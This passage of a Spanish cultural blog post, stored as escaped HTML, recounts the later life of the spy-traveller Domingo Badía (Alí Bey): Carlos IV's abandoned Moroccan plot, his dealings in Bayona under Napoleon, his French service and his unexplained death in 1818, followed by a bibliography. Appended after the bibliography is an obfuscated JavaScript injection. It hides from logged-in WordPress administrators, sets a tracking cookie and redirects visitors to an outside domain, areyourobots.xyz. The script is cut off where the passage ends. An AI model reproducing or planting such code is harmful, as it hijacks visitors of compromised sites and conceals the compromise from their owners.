m\u00edos, escribidles que vengan al instante. Si son moros, no es cuenta m\u00eda, pero se podr\u00e1 avisarles.<\/i><\/p>\n<p><i> -\u00bfQui\u00e9n de ellos &#8211;<\/i><i>inst\u00e9 a\u00fan- volver\u00eda a fiarse de nosotros ni querr\u00eda concertarse con otro que Bad\u00eda? Nadi<\/i><i>e<\/i><i> podr\u00e1 tener sus relaciones; de \u00e9l se f\u00edan porque le creen un moro y un gran pr\u00edncipe. \u00c9l tiene en su favor los mismos jefes de la guardia, muchos gobernadores y baj\u00e1es\u2026 nadie podr\u00e1 suplirle.<\/i><\/p>\n<p><i> -Y bien -repuso el rey-, <b>dejemos esos medios y empr\u00e9ndase la guerra por sus caminos naturales<\/b> si Muley no se aviene con nosotros. <\/i><\/p>\n<p><i> En vano fue representar a Carlos IV las ventajas incalculables que podr\u00edan traernos aquellas posesiones (\u2026).<\/i><\/p>\n<p><i> -Todo es verdad -respondi\u00f3 el rey-; todo cuanto t\u00fa quieres y me dices, lo quisiera yo igualmente; mas <\/i><i><b>mi conciencia<\/b><\/i><i> no se aviene ni podr\u00eda avenirse con los medios. Non sunt facienda mala <\/i><i>ut<\/i><i> inde veniant bona <\/i>[<b>no hay que hacer el mal para que venga lo bueno<\/b>, ap\u00f3stol a los romanos, 3]<i>.<\/i><\/p>\n<p><i> &#8211;<\/i><i>Gran principio, respetabil\u00edsimo -me atrev\u00ed yo a decir por \u00faltimo argumento- si lo observasen todos; pero, en pol\u00edtica, da\u00f1oso si es uno solo el que lo observa.<\/i><\/p>\n<p><i> -Obrando rectamente, Dios estar\u00e1 conmigo -dijo el rey,.<\/i><\/p>\n<p><i> -Pero el correo ha partido con la instrucci\u00f3n -dije yo todav\u00eda-; Vuestra Majestad lo hab\u00eda mandado.<\/i><\/p>\n<p><i> -Yo lo <b>desmando<\/b> ahora -dijo el rey; desp\u00e1chese un alcance.<\/i><\/p>\n<p><i> Aquella noche se pas\u00f3 toda en vela para deshacer cuanto hab\u00eda hecho, y deshacerlo para siempre. Cinco meses despu\u00e9s volvi\u00f3 la guerra con la <b>Gran Breta\u00f1a<\/b>.<\/i><\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/39413377_16589753.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2581\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/39413377_16589753.jpg\" alt=\"\" width=\"640\" height=\"480\" \/><\/a><\/p>\n<p>Para Al\u00ed Bey hab\u00eda concluido la aventura marroqu\u00ed. Y con gran fortuna. Su <i>admirable sagacidad, cuenta Godoy, hall\u00f3 manera de contentar los conjurados con esperanzas y promesas, hasta que le fue dable retirarse sin que ninguno le vendiese. <\/i>Pero, por la forma en que lo despidieron, falt\u00f3 poco.<\/p>\n<p>Su querido y secreto enemigo, el sult\u00e1n, perdi\u00f3 una magn\u00edfica ocasi\u00f3n para afianzarse en el trono mediante una imperial y vasta venganza. Como cuenta Godoy, <i>Muley, al fin, a\u00f1os despu\u00e9s, desfalcado su Imperio y dividido en bandos, se vio obligado a desce\u00f1irse la corona y abdicarla en favor de Abderram\u00e1n, sobrino suyo. Ninguno de sus hijos pudo haberla.<\/i><\/p>\n<p><i> <\/i><i><b>Sidi-Hescham<\/b><\/i><i> fund\u00f3 un estado independiente con las conquistas que hab\u00eda hecho sobre Sus y otras provincias inmediatas. La ocasi\u00f3n malograda era segura; yo no me hab\u00eda enga\u00f1ado.<\/i><\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/220px-Ibrahim-Mehmet-Seve.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2577\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/220px-Ibrahim-Mehmet-Seve.jpg\" alt=\"\" width=\"220\" height=\"328\" \/><\/a><\/p>\n<p><i> <\/i>A Godoy tampoco le fue mucho mejor, como es sabido. Por no hablar de Carlos IV. En cuanto a Bad\u00eda, su temperamento aventurero hasta el fin y tal vez un proceso de <b>desdoblamiento<\/b> de personalidad (algunos atentos lectores de sus <i>Viajes<\/i> opinan que acab\u00f3 crey\u00e9ndose Al\u00ed Bey, el pr\u00edncipe abbasida) le permitieron enmarcar la aventura marroqu\u00ed en un contexto m\u00e1s amplio, que abarc\u00f3 gran parte del mundo musulm\u00e1n -seg\u00fan narra en su libro.<\/p>\n<p><b>EN BAYONA<\/b><\/p>\n<p>Estando en <b>Constantinopla<\/b> le llegaron las primeras noticias sobre los sucesos de Espa\u00f1a de <b>1808<\/b>. Alojado por entonces en casa del <b>marqu\u00e9s de Almenara<\/b>, embajador de Espa\u00f1a ante la Sublime Puerta, Bad\u00eda, al recibir las inquietudes nuevas, decide regresar a su patria sin p\u00e9rdida de tiempo.<\/p>\n<p>Una grave enfermedad le retiene en <b>Munich<\/b>. No del todo restablecido se traslada, acostado en una cama que hizo disponer en su coche, hasta <b>Bayona<\/b>, donde llega el 9 de mayo. Al d\u00eda siguiente quiso ver al nuevo rey, <b>Fernando VII<\/b>, pero \u00e9ste sal\u00eda en aquel momento de la ciudad.<\/p>\n<p>Se present\u00f3, pues, a Carlos IV, a quien mostr\u00f3 algunos planos y dibujos de sus viajes. El padre del rey se limit\u00f3 a observar: <i>Ya sabr\u00e1s que la Espa\u00f1a ha pasado al <\/i><i><b>dominio de la Francia<\/b><\/i><i> por un tratado que ver\u00e1s. Ve de nuestra parte al emperador, <\/i><i>y dile que tu persona, tu espedici\u00f3n <\/i>(sic)<i> y cuanto dice relaci\u00f3n a ella, quede a las \u00f3rdenes esclusivas <\/i>(sic)<i> de S. M. I. y R. y que desearemos produzca alg\u00fan bien al servicio del Estado.<\/i><\/p>\n<p><i> At\u00f3nito de una cosa que jam\u00e1s hubiera imaginado &#8211;<\/i>sigue narrando Bad\u00eda en una exposici\u00f3n que sobre sus desdichas enviar\u00eda desde Par\u00eds, en 1814, a Fernando VII, haciendo protestas de fidelidad inalterable-, <i>pues carec\u00eda de todo antecedente, esclam\u00e9<\/i> (sic)<i>: \u00bfPero no me ser\u00eda permitido seguir la suerte de V. M.? A lo que el rei<\/i> (sic) <i>contest\u00f3: No, no, a todos conviene que sirvas a <\/i><i><b>Napole\u00f3n<\/b><\/i><i>.<\/i><\/p>\n<p>El \u00fanico que socorri\u00f3 efectivamente a Bad\u00eda en Bayona fue Godoy, a trav\u00e9s de un banquero de aquella ciudad. Tras su entrevista con Carlos IV, Bad\u00eda fue recibido por <b>M. Bausset<\/b>, prefecto del palacio imperial. Aunque Bad\u00eda sostenga que tuvo repetidas sesiones con el emperador sobre los negocios de \u00c1frica, al parecer fue su prefecto quien lo atendi\u00f3.<\/p>\n<p>As\u00ed <b>retrat\u00f3<\/b> M. Bausset a Bad\u00eda cuando \u00e9ste ya hab\u00eda cumplido la cuarentena: \u2026 <i>vi un hombre a\u00fan joven, de alta talla y elegante. Llevaba un uniforme azul de Par\u00eds, sin bocamangas, solapas ni charreteras; una magn\u00edfica cimitarra prendida a la manera de los orientales, colgaba a su costado, suspendida por un cord\u00f3n de seda verde. Los trazos de su rostro eran regulares: el conjunto de su figura estaba bien, aunque un poco severa. Sus bellos bigotes negros, sus grandes ojos, vivos y penetrantes, daban a su fisonom\u00eda y a su mirada una expresi\u00f3n particular; sus cabellos eran negros y espesos. Me acerqu\u00e9 a \u00e9l y le dije que estaba autorizado por el emperador para trabar conocimiento con \u00e9l. Me respondi\u00f3 obsequiosamente; entonces su fisonom\u00eda expres\u00f3 una dulzura y al mismo tiempo una vivacidad tales que me sent\u00ed completamente dispuesto a prevenirle en todo lo que de m<\/i><i>\u00ed<\/i><i> pudiera depender.<\/i><\/p>\n<p><i> <\/i>Hay quien opina que Napole\u00f3n alimentaba la idea de que los espa\u00f1oles pod\u00edan y deb\u00edan conquistar Marruecos a mayor gloria de los Bonaparte, citando al respecto la siguiente carta del emperador a <b>Murat<\/b>:<\/p>\n<p><i>Mi querido cu\u00f1ado: os prevengo que teng\u00e1is todas las atenciones con los espa\u00f1oles, procurando por todos los medios captaros su voluntad; no por ellos precisamente, sino porque sirvan a mis prop\u00f3sitos. Una vez restablecida la <\/i><i><b>dominaci\u00f3n<\/b><\/i><i>, cuento con sacar de ese pa\u00eds <\/i><i>doscientos mil espa\u00f1oles y <\/i><i><b>conquistar con ellos el Reino de Marruecos<\/b><\/i><i> y la costa de \u00c1frica del Mediterr\u00e1neo\u2026 A este fin es menester ganar la preferencia de los del Mediod\u00eda como m\u00e1s connaturalizados con los calores y m\u00e1s proporcionados para tratar con los ind\u00edgenas.<\/i><\/p>\n<p>Recomendado al rey Jos\u00e9, Bad\u00eda pas\u00f3 a Madrid, sin lograr tampoco ser recibido por \u00e9ste. Durante quince largos meses vive con su familia en la mayor <b>estrechez<\/b>. Al cabo de este tiempo es enviado de intendente a <b>Segovia<\/b>, al parecer sin haberlo solicitado, por razones de dignidad personal. Hab\u00eda pedido, a cambio, pasar a Par\u00eds para editar sus obras, pero en vano. M\u00e1s tarde ser\u00eda nombrado intendente en C\u00f3rdoba y luego en <b>Valencia<\/b>, cargo este \u00faltimo que no lleg\u00f3 a desempe\u00f1ar por haber nombrado Napole\u00f3n a un funcionario franc\u00e9s.<\/p>\n<p>En 1814, al retirarse los franceses, emigra a <b>Par\u00eds<\/b>. Desde all\u00ed env\u00eda un memorial -jam\u00e1s atendido- a Fernando VII, y ese mismo a\u00f1o aparece la primera edici\u00f3n de sus <i><b>Viajes<\/b><\/i>, subvencionada por <b>Luis XVIII<\/b>. Tras nacionalizarse franc\u00e9s, consigue que Luis nombre a su hijo Pedro teniente de artiller\u00eda y a \u00e9l le haga <b>mariscal<\/b> y le conceda la <b>Flor de Lys<\/b>.<\/p>\n<p>Se hacer llamar general Bad\u00eda y goza de gran prestigio entre los emigrados espa\u00f1oles. Casa a su hija Asunci\u00f3n con <b>M. de L&#8217;isle de Sales<\/b>, miembro del Instituto Real. En contrapartida, la delicada salud de su esposa y la par\u00e1lisis que afectaba a su hijo peque\u00f1o, Jos\u00e9, eran para \u00e9l motivos de honda amargura.<\/p>\n<p><b>ESPECULACIONES<\/b><\/p>\n<p>Seg\u00fan parece, Bad\u00eda no acaba de sentirse a gusto en sus galas de mariscal -casaca de terciopelo, camisas rizadas, sombrero de tres picos, medias de seda y peluca empolvada-, ya que responde a la llamada del muec\u00edn. A\u00f1ora, quiz\u00e1, los ropajes \u00e1rabes y el agasaje que los palacios donde se acata el Cor\u00e1n dispensan a los que conocen los arcanos del Libro.<\/p>\n<p>El hecho es que en <b>1818, el Gobierno franc\u00e9s le encarga realizar un nuevo viaje<\/b> a Oriente.<\/p>\n<p>La suposici\u00f3n de que fue comisionado para ciertas gestiones secretas en la ruta hacia la India en favor de Francia y en contra de Inglaterra ha dado lugar a la versi\u00f3n de que fue interceptado y eliminado por agentes de esta segunda potencia.<\/p>\n<p>Seg\u00fan Paul Odinot, al igual que <i>todos los documentos <\/i><i>que tratan de la preparaci\u00f3n de una ofensiva del ej\u00e9rcito<\/i><i><b> franc\u00e9s sobre la India<\/b><\/i><i> por el continente, sus informes (los de Bad\u00eda) han desaparecido de los archivos de Affaires Etrangers. Sin embargo, pueden encontrarse algunos datos en los informes consultares de Siria, en las memorias de Lady Esther Stanhope y en el relato de de Jackson \u00abTunbuktoo and Housa\u00bb.<\/i><\/p>\n<p>Seg\u00fan otra versi\u00f3n, con aquel segundo viaje Bad\u00eda pretend\u00eda repartir el primitivo plan de Marruecos -frustrado por los exquisitos escr\u00fapulos del titular de la Corona espa\u00f1ola-, s\u00f3lo que procedente de La Meca y al servicio de Francia.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/458px-Voyage_de_Ali_Bey_Planche_XII.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2578\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/458px-Voyage_de_Ali_Bey_Planche_XII.jpg\" alt=\"\" width=\"458\" height=\"599\" \/><\/a><\/p>\n<p>A este respecto se cita un borrador de manifiesto de Al\u00ed Bey a los <i>pueblos de Occidente: fieles creyentes: Sab\u00e9is que un sult\u00e1n maravilloso debe elevarse de las extremidades de Occidente\u2026 <\/i>Este manifiesto, fechado en 1817, mencionar\u00eda a Al\u00ed Bey el Abbass\u00ed como a ese sult\u00e1n maravilloso que borrar\u00eda el despotismo de Marruecos y dar\u00eda un paso a un gobierno m\u00e1s justo y humano en aquel imperio. No obstante, al inicio de su aventura. As\u00ed Al\u00ed Bey se har\u00eda llamar <b>Al\u00ed-Othm\u00e1n<\/b>, ya que en Constantinopla y en Jesural\u00e9n muchos sab\u00edan que era cristiano.<\/p>\n<p>Otro posible m\u00f3vil a considerar es que por aquellas fechas la <b>situaci\u00f3n econ\u00f3mica <\/b>de Bad\u00eda volviera a ser poco menos que angustiosa. Su hija, que le hab\u00eda dado un nieto, qued\u00f3 viuda en septiembre de 1816, y se habr\u00eda visto obligada a vender la biblioteca de su marido. Bad\u00eda har\u00eda nuevas gestiones para obtener la amnist\u00eda de Fernando VII con la esperanza de cobrar sus atrasos; al no obtener ning\u00fan resultado positivo se habr\u00eda lanzado al camino para asegurar una <b>pensi\u00f3n<\/b> a sus familia y tal vez para recobrar colecciones y objetos valiosos dejados en El Cairo y Constantinopla en su primer viaje.<\/p>\n<p>Independientemente de sus aut\u00e9nticas motivaciones, la aventura se presentaba sombr\u00eda. Bad\u00eda sale de Par\u00eds con cincuenta y un a\u00f1os sin decir a su mujer y a sus hijos ad\u00f3nde se dirige. Desde Mil\u00e1n les escribe cartas que m\u00e1s parecen testamentos. Tambi\u00e9n anuncia la publicaci\u00f3n de sus <i>Viajes<\/i> en italilano y dirige una carta a sus superiores pidiendo se le conteste en doble sobre al embajador en Costantinopla, marqu\u00e9s de la Rivi\u00e8re.<\/p>\n<p>La \u00faltima se\u00f1al conocida de nuestro honorable esp\u00eda es una carta desde Constantinopla con algunas l\u00edneas cifradas en febrero de <b>1818<\/b>. A partir de entonces nada concluyente sabemos sobre \u00e9l. A\u00f1os despu\u00e9s se dice que ha muerto en Mazarib, pero nadie sabe a ciencia cierta c\u00f3mo ni cu\u00e1ndo.<\/p>\n<p>Mesonero Romanos asegura haber visto una carta del guardi\u00e1n del convento espa\u00f1ol de San Francisco de Damasco en la que se dice que el desventurado Bad\u00eda muri\u00f3 de <b>disenter\u00eda<\/b> en el a\u00f1o <b>1822<\/b>.<\/p>\n<p>Seg\u00fan el padre Vinardell, superior, p\u00e1rroco y profesor de \u00e1rabe en el convento franciscano de Damasco, Bad\u00eda se hallaba en dicha ciudad en agosto de 1818, dispuesto a emprender su segundo viaje a La Meca. Su delicado estado de salud y el consejo de un m\u00e9dico franc\u00e9s no consiguieron detenerle.<\/p>\n<p>A primeros de septiembre, a dos jornadas de Mazarib, muri\u00f3 de disenter\u00eda. Al desnudarlo para dar a su cad\u00e1ver su \u00faltima abluci\u00f3n o purificaci\u00f3n, seg\u00fan el rito \u00e1rabe, vieron sobre su pecho una cruz. As\u00ed lo atentigu\u00f3 Adb-el-Carim, Ag\u00e1 de los africanos, que formaba parte de la misma caravana, mandada por el pr\u00edncipe Saleh Baj\u00e1. Todos sus papeles y equipajes quedaron en manos del Ag\u00e1, a excepci\u00f3n de unos pocos, comprados por la s\u00fabdita inglesa <b>Esther Estenoffo<\/b> (lady Stanhope), que viv\u00eda en Monte L\u00edbano. El padre Vinardell trat\u00f3 de adquirirlos, pero el Ag\u00e1 se neg\u00f3, creyendo que conten\u00edan secretos para encontrar tesoros.<\/p>\n<figure id=\"attachment_2580\" aria-describedby=\"caption-attachment-2580\" style=\"width: 757px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/4872pag479.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-2580\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/4872pag479.jpg\" alt=\"\" width=\"757\" height=\"497\" \/><\/a><figcaption id=\"caption-attachment-2580\" class=\"wp-caption-text\">.<\/figcaption><\/figure>\n<p>Seg\u00fan Odinot, lady <b>Stanhope<\/b> le cont\u00f3 a <b>Chateaubriand<\/b>, cuando \u00e9ste la visit\u00f3, lo que sab\u00eda sobre el misterioso peregrino:<\/p>\n<p><i>Estaba casado con una hija del emperador de Fez y hab\u00eda dejado un hijo, Othman Bey, que viv\u00eda en Marruecos. Hab\u00eda vivido varios a\u00f1os en Siria y en 1813 se volvi\u00f3 a Par\u00eds. Fue entonces cuando hizo el proyecto de ir a Tombuct\u00fa, pero entretanto hab\u00eda vuelto a Damasco y hecho una vez m\u00e1s la peregrinaci\u00f3n. Al volver de <\/i><i><b>La Meca<\/b><\/i><i>, llegando a Balka, hab\u00eda muerto de un mal misterioso (1818). Los habitantes del pa\u00eds le despojaron de sus documentos e instrumentos pero ella los hab\u00eda recogido todos.<\/i><\/p>\n<p>El testimonio de lady Stanhope parece tan poco convincente que \u00e9ste se siente justificado a concluir: <i>He aqu\u00ed que surte efecto el veneno y hace pensar que habr\u00eda que estar en Londres para escribir con alguna certidumbre la historia de los agentes franceses en Oriente bajo el primer Imperio. <\/i>En suma, seg\u00fan Odinot, lady Stanhope habr\u00eda sido el -o uno de los- agentes brit\u00e1nicos encargados de eliminar a Bad\u00eda.<\/p>\n<p>En cuanto a la noticia sobre el hijo que Bad\u00eda dej\u00f3 en Marruecos, quiz\u00e1 no sea descabellado concederle alguna atenci\u00f3n, especialmente si pensamos en lo que el propio Bad\u00eda cuenta en sus <i>Viajes<\/i> (y a\u00fan m\u00e1s en lo que no cuenta) acerca de su <b>relaci\u00f3n con Mohanna<\/b>, la <b>esclava<\/b> que le regal\u00f3 el sult\u00e1n de Marruecos.<\/p>\n<p>Trat\u00e1ndose de una amistad tan plat\u00f3nica, no se explica muy bien hasta qu\u00e9 punto pareci\u00f3 afectar a ambos su separaci\u00f3n en Larache. Leyenda o no, la noticia fue recogida m\u00e1s tarde por viajeros orientales que dijeron haber conocido a un nieto de All\u00ed Bey que era babuchero en Fez. Y el abate Godard, que vivi\u00f3 en Marruecos hacia 1858 y que sosten\u00eda que Bad\u00eda era natural de Vizcaya, dijo -seg\u00fan refiere Odinot- haber <i>buscado en vano a su hijo (de Bad\u00eda) Othm\u00e1n, nacido en 1805 y que se encontraba en Fez quince a\u00f1os despu\u00e9s de la partida de su padre.<\/i><\/p>\n<p><i> <\/i><b>As\u00ed termina la historia de aquel osado catal\u00e1n<\/b>, incomprendido espa\u00f1ol y desventurado franc\u00e9s, que no hace mucho fue calificado como <i>superior a Lawrence en audacia, conocimientos y ambici\u00f3n patri\u00f3tica.<\/i><\/p>\n<p>La comparaci\u00f3n es puramente ret\u00f3rica: esas tres cualidades no faltaron a ninguno de los dos aventureros, que comparten un indiscutible m\u00e9rito: el de haber comprendido, por encima de los prejuicios habituales -en su \u00e9poca como en la nuestra-, que el islamismo no es tan s\u00f3lo una religi\u00f3n, sino una forma de vida.<\/p>\n<p>Ambos se rindieron asimismo a la fascinaci\u00f3n del desierto, bajo cuyas ardientes arenas hunde sus m\u00e1s aut\u00e9nticas ra\u00edces el Islam. La perspicacia etnol\u00f3gica de ambos intelectuales metidos a agitadores fue la clave de sus relativos triunfos y la mejor garant\u00eda de su seguridad en un ambiente extra\u00f1o, hostil y plagado de agentes que, como ellos mismos, conspiraban en favor de potencias enemigas entre las fronteras de un mundo sumido en profundas crisis.<\/p>\n<p><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/51S3ejndqoL._SX341_BO1204203200_.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2575\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/51S3ejndqoL._SX341_BO1204203200_.jpg\" alt=\"\" width=\"343\" height=\"499\" \/><\/a><a href=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/220px-Hammouda_Pacha.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-2576\" src=\"https:\/\/blog.vera.es\/cultura\/wp-content\/uploads\/sites\/2\/2017\/02\/220px-Hammouda_Pacha.jpg\" alt=\"\" width=\"220\" height=\"304\" \/><\/a><\/p>\n<p><b>DESBORDANTE ACTIVIDAD<\/b><\/p>\n<p>Quiz\u00e1 el gran <b>error<\/b> de Bad\u00eda fue creerse un nuevo Cort\u00e9s en cuyas manos el emperador Muley tuviese fatalmente que hacer el triste papel de Moctezuma. Pero sin una pizca de locura -o de simple megaloman\u00eda- es evidente que no se conquistan imperios. En t odo caso, lo que verdaderamente importa en cualquier aut\u00e9ntica novela de espionaje -y los <i>Viajes<\/i> de Bad\u00eda, aunque no lo parezcan, deben ser le\u00eddos como tal, no es el resultado -que s\u00f3lo afecta a la historia de los Estados-, sino el derroche de medios desplegados para conseguir determinados fines -lo que constituye el \u00e1mbito propio del agente especial.<\/p>\n<p>En este sentido no puede negarse que Bad\u00eda escatimase medios. Por hacer el recuento de tan s\u00f3lo los dos a\u00f1os que permaneci\u00f3 en Marruecos, aparte de las labores propias de su distinguida profesi\u00f3n adoptiva, nuestro h\u00e9roe tuvo ocasi\u00f3n de ocuparse de <b>menesteres tan variados como instructivos.<\/b><\/p>\n<p>Predijo eclipses, reuni\u00f3 colecciones de historia natural, intent\u00f3 (sin \u00e9xito) domesticar chacales, mantuvo innumerables discusiones teol\u00f3gicas y <i>filantr\u00f3picas<\/i>, plane\u00f3 expediciones en busca de r\u00edos fabulosos, intercambi\u00f3 cientos de visitas y regalos, tom\u00f3 ba\u00f1os de mar, imparti\u00f3 bendiciones y or\u00f3 por las gentes que le sal\u00edan al paso.<\/p>\n<p>Combati\u00f3 supersticiones, aport\u00f3 su granito de arena a la ilustraci\u00f3n del pa\u00eds, atac\u00f3 el rutinario dogmatismo de los sabios locales, cumpli\u00f3 los preceptos del rito ordinario, se libr\u00f3 de las asechanzas de astr\u00f3logos y cortesanos envidiosos de su buena estrella ante el trono, desde\u00f1\u00f3 concubinas, cruz\u00f3 r\u00edos, dio limosnas, interpret\u00f3 presagios, conoci\u00f3 santos y admir\u00f3 la belleza de las hebreas.<\/p>\n<p>Se compareci\u00f3 de leprosos y orates, de la falta de escuela, del atraso de las ciencias, comi\u00f3 en compa\u00f1\u00eda de cig\u00fce\u00f1as y gacelas, durmi\u00f3 con escorpiones bajo la almohada, estuvo a punto de sucumbir ante diversas enfermedades, las fingi\u00f3 en momentos de apuro, se hall\u00f3 a un paso de morir de sed en mitad del desierto y escap\u00f3 con vida de todos los peligros.<\/p>\n<p><b>Lo que no sabemos<\/b> es si en alg\u00fan momento a lo largo de su agitada carrera de esp\u00eda lleg\u00f3 a poner en cuesti\u00f3n su propio papel. Si lo hizo, no cabe duda de que persever\u00f3 en la misma l\u00ednea hasta el fin. De otro modo no habr\u00eda emprendido un segundo viaje. Se\u00f1al de que hab\u00eda pronunciado sus <i>segundos vetos <\/i>-el punto de no retorno, m\u00e1s all\u00e1 del cual el esp\u00eda ya se ha profesionalizado y no se plantea la eticidad de su funci\u00f3n.<\/p>\n<p>Algunos comentaristas (no muy abundantes, por cierto) de la vida y trabajos de Domingo Bad\u00eda lo han calificado de <i>sabio, espl\u00e9ndido y valeroso Abasida o, menos cordialmente, de sesudo, impert\u00e9rrito y disimulado viajero.<\/i><\/p>\n<p>Otros insisten en enfatizar lo arbitrario de su temperamento, proponi\u00e9ndolo como explicaci\u00f3n tanto de sus miserias como de su grandeza -lo que inevitablemente resalta las primeras y rebaja la segunda. El lector culto seguramente evaluar\u00e1 las dotes literarias de Bad\u00eda por debajo de las de Lawrence. Pero lo que dif\u00edcilmente nadie negar\u00e1 a nuestro h\u00e9roe es un magn\u00edfico impulso vital, que sirvi\u00f3 de motor de sus aciertos y errores, un arrojo a toda prueba y la profundidad con que acept\u00f3 un desaf\u00edo que nadie le impuso.<\/p>\n<p>Pero, por lo que parece, estas cualidades no han bastado para hacerlo acreedor al recuerdo de sus compatriotas. Hoy, asombrosamente, siguen ignorando qui\u00e9n fue Domingo Bad\u00eda, alias Al\u00ed Bey. Aunque tal vez debamos felicitarnos por ello, ya que, como sostiene Borges, <i>la gloria es una incomprensi\u00f3n, y tal vez la peor.<\/i><\/p>\n<p>(<i>Las ilustraciones que acompa\u00f1an el presente trabajo est\u00e1n sacadas de la obra <\/i>Los viajes <i>de Al\u00ed Bey y dibujadas por \u00e9l mismo<\/i>).<\/p>\n<p>BIBLIOGRAF\u00cdA<\/p>\n<ul>\n<li><i>Voyages d&#8217;Al\u00ed Bey el Abbassi en Afrique et el Asie, pendant les anne\u00e9s 1803, 1804, 1805, 1806 et 1807<\/i>. A Paris, de l&#8217;imprimerie de P. Didot l&#8217;Ain\u00e9, imprimeur du Roi, 1814, 3 vols. <i>Atlas et explication des planches composant l&#8217;Atlas des voyages d&#8217;Ali Bey.<\/i><\/li>\n<li>La edici\u00f3n inglesa (Londres, Jongman y otros, 1816) contiene un interesante pr\u00f3logo de los editores.<\/li>\n<li>\n<p align=\"justify\">Las ediciones italiana y alemana son tambi\u00e9n de 1816. La primera traducci\u00f3n espa\u00f1ola de los <i>Voyages<\/i> fue impresa por Jose\u00b4Ferrer de Orga en 1836, en Valencia. M\u00e4s adelante aparecen dos traducciones catalanas (Barcelona, <i>La Renaixensa, <\/i>1888-9, y <i>L&#8217;Aven\u00e7, <\/i>1892).<\/p>\n<\/li>\n<li>\n<p align=\"justify\">En 1943, la editorial Olimpo, de Barcelona, dio a la estampa una nueva versi\u00f3n castellana de los <i>Viajes.<\/i><\/p>\n<\/li>\n<li>\n<p align=\"justify\">Para este mismo a\u00f1o de 1982 seespera la aparici\u00f3n de una nueva edici\u00f3ncastellana de los <i>Viajes<\/i> de Al\u00ed Bey basada en la edici\u00f3n inglesa de 1816 bajo el sello de las Ediciones de Saturno.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Godoy, <i>Memorias, cap. <\/i>XX, Biblioteca de Autores Espa\u00f1oles.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Augusto Casas, <i> Al\u00ed Bey. Vida, viajes y aventuras de D. Domingo Bad\u00eda, <\/i>Barcelona, Luis Miracle, 1943.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">L.F.J. de Bausset, <i>Memoires an\u00e9cdotiques <\/i><i>sur l&#8217;interieur du Palais et sur quelques avenements de l&#8217;empire despuis 1800 jusqu&#8217;au 1\u00ba Mai 1814 pour servir a l&#8217;histoire de Napole\u00f3n, <\/i>Paris, 1827.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Colecci\u00f3n Toda. <i>Documentos originales de Ali Bey. <\/i>Archivo Municipal de Barcelona.<\/p>\n<\/li>\n<li>\n<p align=\"justify\">Chateaubriand, <i>Itineraire de Paris \u00e0 Jerusalen, <\/i>Paris, 1860 (sixti\u00e8me partie, <i>Voyage d&#8217;Egipte).<\/i><\/p>\n<\/li>\n<li>\n<p align=\"justify\">Jos\u00e9 G\u00f3mez de Arteche, <i>Nieblas de la historia patria. 2\u00aa ed., Barcelona, 1888. <\/i><\/p>\n<\/li>\n<li>\n<p align=\"justify\">L\u00f3pez Fern\u00e1ndez, Jer\u00f3nimo. Notas para una biograf\u00eda: el viajero Al\u00ed Bey en Vera. <i>Edit. Axarqu\u00eda<\/i>. Moj\u00e1car. 1998. n.\u00ba 3<\/p>\n<\/li>\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.areyourobots.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return 